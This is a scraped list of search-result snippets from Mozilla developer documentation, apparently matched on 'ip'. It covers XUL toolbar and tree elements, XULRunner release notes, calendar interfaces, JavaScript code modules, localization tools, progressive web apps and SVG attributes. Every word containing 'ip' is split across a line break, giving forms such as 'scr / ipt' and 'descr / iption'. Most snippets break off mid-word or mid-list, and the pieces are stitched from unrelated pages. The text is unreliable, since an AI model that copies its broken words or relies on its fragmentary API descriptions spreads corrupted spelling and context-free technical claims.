tab - Archive of obsolete content
an ell
ipsis will be used in place of the cropped text.
... none the text will be not be cropped using an ell
ipsis.
... oncommand type: scr
ipt code this event handler is called when the command is activated.
toolbaritem - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
...stener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargr
ippy, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarpalette - Archive of obsolete content
examples <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="toolbarpalette-button" class="toolbarbutton-class" label="&mylabel;" toolt
iptext="&myt
iptext;" oncommand="somefunction()"/> </toolbarpalette> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, ...
...minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatcheve...
...amespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargr
ippy, toolbaritem, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarseparator - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeatu...
..., isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargr
ippy, toolbaritem, toolbarpalette, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarset - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , sta...
...tustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlisten...
...er(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargr
ippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarspacer, toolbox ...
toolbarspacer - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfe...
...amespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargr
ippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbarspring - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeat...
..., isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargr
ippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbox interfaces nsiaccessibleprovider ...
treecol - Archive of obsolete content
an ell
ipsis will be used in place of the cropped text.
... none the text will be not be cropped using an ell
ipsis.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
treecols - Archive of obsolete content
attributes pickertoolt
iptext properties accessibletype examples (example needed) attributes pickertoolt
iptext type: string the text for the toolt
ip on the column picker.
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfe...
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the z
ip file to a new directory using a archive tool (7z
ip is recommended).
... mac os x if you have mult
iple versions of xulrunner installed on mac os x, it is not possible to uninstall only one version.
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a z
ip archive with the extension .xulapp or .xpi.
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the z
ip file to a new directory using an archive tool (7z
ip is recommended).
... mac os x if you have mult
iple versions of xulrunner installed on mac os x, it is not possible to uninstall only one version.
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a z
ip archive with the extension .xulapp or .xpi.
XULRunner 1.9.1 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the z
ip file to a new directory using an archive tool (7z
ip is recommended).
... mac os x if you have mult
iple versions of xulrunner installed on mac os x, it is not possible to uninstall only one version.
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a z
ip archive with the extension .xulapp or .xpi.
XULRunner 1.9 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the z
ip file to a new directory using an archive tool (7z
ip is recommended).
... mac os x if you have mult
iple versions of xulrunner installed on mac os x, it is not possible to uninstall only one version.
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a z
ip archive with the extension .xulapp or .xpi.
XUL Application Packaging - Archive of obsolete content
xul app packages are typically z
ipped into an archive with the extension .xulapp or .xpi.
... example: enableextensionmanager=1 enableprofilemigrator specifies whether, when the application is launched for the first time and there are no profiles, to enable profile migration code through the ns
iprofilemigrator interface.
... optional - default is 0 note: the application author is responsible for implementing the ns
iprofilemigrator interface; if an implementation is not found no migration will be performed.
calICalendarViewController - Archive of obsolete content
calendar/base/public/calicalendarviewcontroller.idlscr
iptable please add a summary to this article.
... interface code [scr
iptable, uuid(1f783898-f4c2-4b2d-972e-360e0de38237)] interface calicalendarviewcontroller : nsisupports { void createnewevent (in calicalendar acalendar, in calidatetime astarttime, in calidatetime aendtime); void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime anewstarttime, in calidatetime anewendtime); void deleteoccurrence (in caliitemoccurrence aoccurrence); }; methods createnewevent void createnewevent (in calicalendar acalendar, in calidatetime astarttime, in calidatetime aendtime); the createnewevent method is used for creating a new calievent in the calicalendar specified by the acalendar parameter.
...iewcontroller = { queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.calicalendarviewcontroller) && !aiid.equals(components.interfaces.nsisupports)) { throw components.results.ns_error_no_interface; } return this; }, createnewevent: function (acalendar, astarttime, aendtime) { // if we're given both times, sk
ip the dialog if (astarttime && aendtime && !astarttime.isdate && !aendtime.isdate) { var event = createevent(); event.startdate = astarttime; event.enddate = aendtime; event.title = "new event"; acalendar.additem(event, null); } else if (astarttime && astarttime.isdate) { var event = createevent(); e...
calIFileType - Archive of obsolete content
defined in calendar/base/public/caliimportexport.idl interface code [scr
iptable, uuid(efef8333-e995-4f45-bdf7-bfcabbd9793e)] interface califiletype : nsisupports { readonly attribute astring defaultextension; readonly attribute astring extensionfilter; readonly attribute astring descr
iption; }; attributes defaultextension the default extension that should be associated with files of this type.
...separate mult
iple extensions with semicolon and space.
... descr
iption the descr
iption to show to the user in the filter list.
2006-11-17 - Archive of obsolete content
to sn
ipurl?
... user is looking for advice how to access http or sn
ipurl.
... firefox 2.0 javascr
ipt popup issue user seeks advice about a line of javascr
ipt code that worked in firefox 1.5.0.x, but not in firefox 2.0 balloon help user inquires if anyone can explain how to disable the balloon help in firefox 2.0.
2006-11-10 - Archive of obsolete content
matthew gertner wants to know if anyone has written code to paste images from the cl
ipboard on platforms other than windows?
...harry is looking for help with create thread in javascr
ipt using nsithread.
... he wants to know how to create new threads using javascr
ipt for background download operations.
2006-10-27 - Archive of obsolete content
mult
iple presshells discussion on why current interfaces allow for mult
iple presshells and how the relationsh
ips work for the following objects: docshell, presshell, prescontext, document, domwindow, widget, docshell and contentviewer.
... boris zbarsky explains in detail the relationsh
ips between these objects.
... the presshells are currently used for printing, but should or could have been used for print previews and mult
iple views in editors.
2006-12-08 - Archive of obsolete content
discussions xpcom cpp to js callback engaging discussion on a problem with trying to call back from c++ to a javascr
ipt object using an interface the developer created with an idl.
... however, the c++ call that's supposed to be invoking the method on the javascr
ipt object is returning with 0x80004005 (ns_error_failure).
... saving binary data from nsixmlhttprequest a discussion on how to use nsixmlhttprequest object to query data from a url in an extension implemented in javascr
ipt meetings none during this week.
NPEvent - Archive of obsolete content
the event type may be any of the ollowing: graphicsexpose focusin focusout enternotify leavenotify motionnotify buttonpress buttonrelease keypress keyrelease descr
iption microsoft windows descr
iption the type npevent represents an event passed by npp_handleevent() to a windowless plug-in.
... mac os descr
iption the npevent object represents an event passed by npp_handleevent() to a windowless plug-in.
... xwindows descr
iption the npevent object represents an event passed by npp_handleevent() to a windowless plug-in.
mozbrowsercaretstatechanged
this is used by the embedder to show a context menu for cl
ipboard actions.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type descr
iption target read only eventtarget the browser iframe type read only domstring the type of event.
... details the details property returns an anonymous javascr
ipt object with the following properties: rect an object that defines information about the bounding rectangle of the current selection.
mozbrowseropensearch
when an instance of <link rel="search" type="application/opensearchdescr
iption+xml"> is encountered.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type descr
iption target read only eventtarget the browser iframe type read only domstring the type of event.
... details the details property returns an anonymous javascr
ipt object with the following properties: title a domstring representing the title of the search engine.
ChromeWorker
setsubstitution('my-cool-addon', fileuri); var worker = new worker('resource://my-cool-addon/worker.js'); more references: you can use chromeworker from javascr
ipt code modules.
... see using workers in javascr
ipt code modules for details.
... see also using web workers using workers in javascr
ipt code modules worker sharedworker web workers specification workerglobalscope github :: chromeworker - a fully working demo addon using js-ctypes from a chrome worker.
Gecko
gecko's function is to render web content, such as html, css, xul, javascr
ipt, and render it on the user's screen or print it.
... gecko is used in many applications, including a few browsers such as firefox and seamonkey (for a complete list, please refer to wik
ipedia's article on gecko).
... html parser threading descr
iption of multithreading in the html parser.
How Mozilla determines MIME Types
it does the following: checks the start of the file for "magic numbers"; this can currently detect pdf and postscr
ipt.
...if one of these lookups succeed, this is where the application in the "open with" field comes from, and also where the descr
iption of the type comes from.
... if this also failed, the extras are searched again, and will supply the extension-list and a descr
iption of the mime type.
How to get a stacktrace with WinDbg
t
ip: all commands must be entered exactly as written, one line at a time, into the bottom of the command box.
... copying and pasting each line is the easiest method to avoid mistakes some commands start with a period (.) or a p
ipe character (|), which is required.
... (the keystroke for a p
ipe character on us keyboards is shift+\) submit the log file on a bug or via the support site, even if nothing seems to happen during the debug process start debugging now that firefox is opened in the debugger, you need to configure your windbg to download symbols from the mozilla symbol server.
AsyncShutdown.jsm
properties attribute type descr
iption profilebeforechange read only phase the profile is about to be unmounted.
... webworkersshutdown read only phase javascr
ipt threads are about to be killed.
... this phase represents the last chance to communicate with a javascr
ipt worker, in particular with os.file.
Dict.jsm
the dict.jsm javascr
ipt code module offers routines for managing dictionaries of key/value pairs.
... to use it, you first need to import the code module into your javascr
ipt scope: components.utils.import("resource://gre/modules/dict.jsm"); creating a dictionary you can create a new, empty dictionary by simply calling the dict() constructor: var newdict = new dict(); if you wish, you may also pass in an object literal of key/value pairs with which to initialize the dictionary: var someobj = {}; var newdict = new dict({key1: "foo", key2: someobj}); note that values may be any javascr
ipt object type.
...view dict copy(); boolean del(string akey); object get(string akey, [optional] object adefault); boolean has(string akey); array listitems(); array listkeys(); array listvalues(); void set(string akey, object avalue); string tojson(); string tostring(); properties attribute type descr
iption count number the number of items in the dictionary.
Downloads.jsm
the downloads.jsm javascr
ipt code module provides a single entry point to interact with the downloading capabilities of the platform, including starting new downloads, controlling ongoing downloads, and retrieving download-related configuration.
... to use it, you first need to import the code module into your javascr
ipt scope: components.utils.import("resource://gre/modules/downloads.jsm"); method overview promise<download> createdownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsummary> getsummary(atype); constants constant descr
iption public work on downloads that were not started from a private browsing window.
... properties attribute type descr
iption error read only constructor constructor for a downloaderror object.
Log.jsm
the log.jsm javascr
ipt code module (formerly named log4moz.js) provides a log4j style api for logging log messages to various endpoints, such as the browser console or a file on disk.
... to use it, you first need to import the code module into your javascr
ipt scope: components.utils.import("resource://gre/modules/log.jsm"); basic usage components.utils.import("resource://gre/modules/log.jsm"); // get a logger, give it a name unique to this chunk of code.
...newoutputstream(); outputstream reset(); structuredformatter(); length: 0 keys of prototype: format(); method overview enumerateinterfaces(); length: 0 enumerateproperties(); length: 2 member fields variable type descr
iption level object contains the following fields: field name value all 0 config 30 debug 20 desc { 0: "all", 10: "trace", 20: "debug", 30: "config", 40: "info", 50: "warn", 60: "error", 70: "fatal" } error 30 ...
Webapps.jsm
tener: function(amsgnames, aapp, amm) removemessagelistener: function(amsgnames, amm) formatmessage: function(adata) receivemessage: function(amessage) getappinfo: function getappinfo(aappid) broadcastmessage: function broadcastmessage(amsgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, az
ippath) _getappdir: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(amsg, amm) doimport: function(amsg, amm) doextractmanifest: function(amsg, amm) dolaunch: function (adata, amm) launch: function launch(amanifesturl, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, a...
...nsuresufficientstorage: function(anewapp) _checkdownloadsize: function(afreebytes, anewapp) _getrequestchannel: function(afullpackagepath, aislocalfileinstall, aoldapp,) _senddownloadprogressevent: function(anewapp, aprogress) _getpackage: function(arequestchannel, aid, aoldapp, anewapp) _computefilehash: function(afilepath) _sendappliedevent: function(aapp) _openandreadpackage: function(az
ipfile, aoldapp, anewapp, aislocalfileinstall,) _openpackage: function(az
ipfile, aapp, aislocalfileinstall) _opensignedpackage: function(ainstallorigin, amanifesturl, az
ipfile, acertdb) _readpackage: function(aoldapp, anewapp, aislocalfileinstall, aisupdate,) _checksignature: function(aapp, aissigned, aislocalfileinstall) _saveetag: function(aisupdate, aoldapp, arequestchannel, ahash, amanifest...
...) _checkorigin: function(aissigned, aoldapp, amanifest, aisupdate) _getids: function(aissigned, az
ipreader, aconverter, anewapp, aoldapp,) _checkforstoreidmatch: function(aisupdate, anewapp, astoreid, astoreversion) revertdownloadpackage: function(aid, aoldapp, anewapp, aisupdate, aerror) uninstall: function(amanifesturl) _promptforuninstall: function(adata) confirmuninstall: function(adata) denyuninstall: function(adata, areason = "error_unknown_failure") getself: function(adata, amm) checkinstalled: function(adata, amm) getinstalled: function(adata, amm) getnotinstalled: function(adata, amm) geticon: function(adata, amm) getall: function(acallback) isrece
ipt: function(data) addrece
ipt: function(adata, amm) removerece
ipt: function(adata, amm) replacerece
ipt: function(adata...
L10n Checks
l10n checks is a python scr
ipt and library similar to compare-locales.
...you pass both paths to the xpi file and both paths to the locales inside the files, e.g.: check-l10n-completeness -i xpis en-us-langpack.xpi my-langpack.xpi jar:chrome/en-us.jar!locale/ jar:chrome/my.jar!locale/my/ jar/z
ip file (jar) mode l10n checks can compare two locales found in different jar files.
...ab-cd browser chrome/browser browser.dtd +backforwardmenu.toolt
ip +fullzoomenlargecmd.commandkey3 +fullzoomreducecmd.commandkey2 +fullzoomresetcmd.commandkey2 +organizebookmarks.label -showallbookmarkscmd2.label migration/migration.dtd -importfromfile.accesskey -importfromfile.label +importfromhtmlfile.accesskey +importfromhtmlfile.label you can assume changed strin...
Localizing with Mozilla Translator
rec
ipes introduction we aim to put here some rec
ipes that may be useful at a certain moment for mt users, but that, due to its temporary nature, don't fit in the user manual.
... if you are a ''not so good'' mt user, however, you can just create a new product (or several ones; see next rec
ipe to know why), run file -> update on them (you'll get a list of all the strings) and then run edit -> autotranslate.
... a bit of history on mt mt has been evolving from long ago, when l10n were done always on sh
ipped en-us jars and when mozilla suite had five l10n jars: ab-cd.jar, ab-win.jar, ab-mac.jar, ab-unix.jar, and cd.jar.
Initial setup
compare-locales compare-locales is a python scr
ipt that helps you check your work without needing to run firefox or another application.
... l10n checks l10n checks is another python scr
ipt that helps you check your work without running an application.
... python python is a programming language in which many of our l10n testing scr
ipts are written.
Localization technical reviews
technical review evaluation criteria in princ
ipal, a technical review's criteria looks for localization issues common to localizing software but within the mozilla context.
...#unfilter emptylines in toolkit/defines.inc, the native name of the language is specified, which is used as descr
iption for the built language packs.
... string lengths in p
ipnss.properties there are some character limits in the security/manager/chrome/p
ipnss/p
ipnss.properties file that you should be aware of.
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
synthetic monitoring involves deploying scr
ipts to simulate the path an end user might take through a web application, reporting back the performance the simulator experiences.
...it provides waterfall charts for every asset served by the host and cdn as well as every third party asset and asset requests generated by all third party scr
ipts, such as ads and analytic services.
...generally, a third party scr
ipt injects a scr
ipt on each page to measure and report back on page load data for every request made.
Understanding latency - Web Performance
but websites generally involve mult
iple requests: the html includes requests for mult
iple css, scr
ipts, and media files.
... latency can be measured one way, for example, the amount of time it takes to send a request for resources, or the length of the entire round-tr
ip from the browser’s request for a resource to the moment when the requested resource arrives at the browser.
... it is generally measured as a round tr
ip delay.
Add to Home screen - Progressive web apps (PWAs)
it contains mult
iple fields that define certain information about the web app and how it should behave.
... the manifest for our sample app looks like this: { "background_color": "purple", "descr
iption": "shows random fox pictures.
... our pwa installable on desktop, we first added a button to our document to allow users to do the installation — this isn't made available automatically on desktop apps, and the installation needs to be triggered by a user gesture: <button class="add-button">add to home screen</button> we then gave it some simple styling: .add-button { position: absolute; top: 1px; left: 1px; } javascr
ipt for handling the install at the bottom of our index.js file, we added some javascr
ipt to handle the installation.
How to make PWAs installable - Progressive web apps (PWAs)
the content of the file looks like this: { "name": "js13kgames progressive web app", "short_name": "js13kpwa", "descr
iption": "progressive web app that lists games submitted to the a-frame category in the js13kgames 2017 competition.", "icons": [ { "src": "icons/icon-32.png", "sizes": "32x32", "type": "image/png" }, // ...
... descr
iption: a sentence or two explaining what your app does.
...beyond that, everything is optional, though the descr
iption, short_name, and start_url fields are recommended.
Introduction to progressive web apps - Progressive web apps (PWAs)
there are some key princ
iples a web app should try to observe to be identified as a pwa.
... the best-known success story is probably that of fl
ipkart lite.
... for service worker and push specific information, be sure to check the service worker cookbook, a collection of rec
ipes using service workers in modern sites.
Media - Progressive web apps (PWAs)
it is impossible to antic
ipate every user's browser choice and settings at the time of printing.
... action: printing a document note: this sn
ippet only works on firefox since it erroneously increments the css counter for fix-position elemnts.
...the next page describes how you can change rules dynamically by using a programming language: javascr
ipt.
Web API reference - Web technology reference
these can be accessed using javascr
ipt code, and let you do anything from making minor adjustments to any window or element, to generating intricate graphical and audio effects using apis such as webgl and web audio.
...it allows man
ipulation of document node and element.
... html, xml and svg have extended it to man
ipulate their specific elements.
baseline-shift - SVG: Scalable Vector Graphics
the shifted object might be a sub- or superscr
ipt.
... as a presentation attribute, it can be applied to any element but it has effect only on the following four elements: <altglyph>, <textpath>, <tref>, and <tspan> usage notes value <length-percentage> | sub | super default value 0 animatable yes sub the dominant-baseline is shifted to the default position for subscr
ipts.
... super the dominant-baseline is shifted to the default position for superscr
ipts.
name - SVG: Scalable Vector Graphics
note: if no name is provided, it will be impossible to reference the given color profile descr
iption.
... the name "srgb" is predefined; any color profile descr
iptions with <name> set to "srgb" (case-insensitively) will be ignored.
...unlike the syntax allowed between the parentheses of the local(…) clause in an @font-face rule src descr
iptor, the font name specified in this attribute is not surrounded in single or double quotes.
systemLanguage - SVG: Scalable Vector Graphics
35 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <audio>, <canvas>, <circle>, <cl
ippath>, <cursor>, <defs>, <discard>, <ell
ipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47.
... mult
iple languages may be listed for content that is intended for mult
iple audiences.
... for example, content that is presented simultaneously in the original maori and english versions, would call for: <text systemlanguage="mi, en"><!-- content goes here --></text> however, just because mult
iple languages are present within the object on which the systemlanguage test attribute is placed, this does not mean that it is intended for mult
iple linguistic audiences.
visibility - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nineteen elements: <a>, <altglyph>, <audio>, <canvas>, <circle>, <ell
ipse>, <foreignobject>, <iframe>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, <tspan>, <video> html, body, svg { height: 100%; } <svg viewbox="0 0 220 120" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="200" height="100" stroke="black" stroke-width="5" fill="transparent" /> <g stroke="seagreen" stroke-width="5" fill="skyblue"> ...
...it may receive pointer events depending on the pointer-events attribute, may receive focus depending on the tabindex attribute, contributes to bounding box calculations and cl
ipping paths, and does affect text layout.
...-icon"> <path d="m16.59 8.59l12 13.17 7.41 8.59 6 10l6 6 6-6z" /> <path d="m12 8l-6 6 1.41 1.41l12 10.83l4.59 4.58l18 14z" class="invisible" /> <path d="m0 0h24v24h0z" fill="none" /> </svg> <span> click me </span> </button> css svg { display: inline !important; } span { vertical-align: 50%; } button { line-height: 1em; } .invisible { visibility: hidden; } javascr
ipt document.queryselector("button").addeventlistener("click", function (evt) { this.queryselector("svg > path:nth-of-type(1)").classlist.toggle("invisible"); this.queryselector("svg > path:nth-of-type(2)").classlist.toggle("invisible"); }); specifications specification status comment css level 2 (revision 1)the definition of 'visibility' in that specification.
<feDiffuseLighting> - SVG: Scalable Vector Graphics
the light map produced by this filter primitive can be combined with a texture image using the mult
iply term of the arithmetic operator of the <fecomposite> filter primitive.
... mult
iple light sources can be simulated by adding several of these light maps together before applying it to the texture image.
... usage context categoriesfilter primitive elementpermitted contentany number of descr
iptive elements and exactly one light source element, in any order.
<marker> - SVG: Scalable Vector Graphics
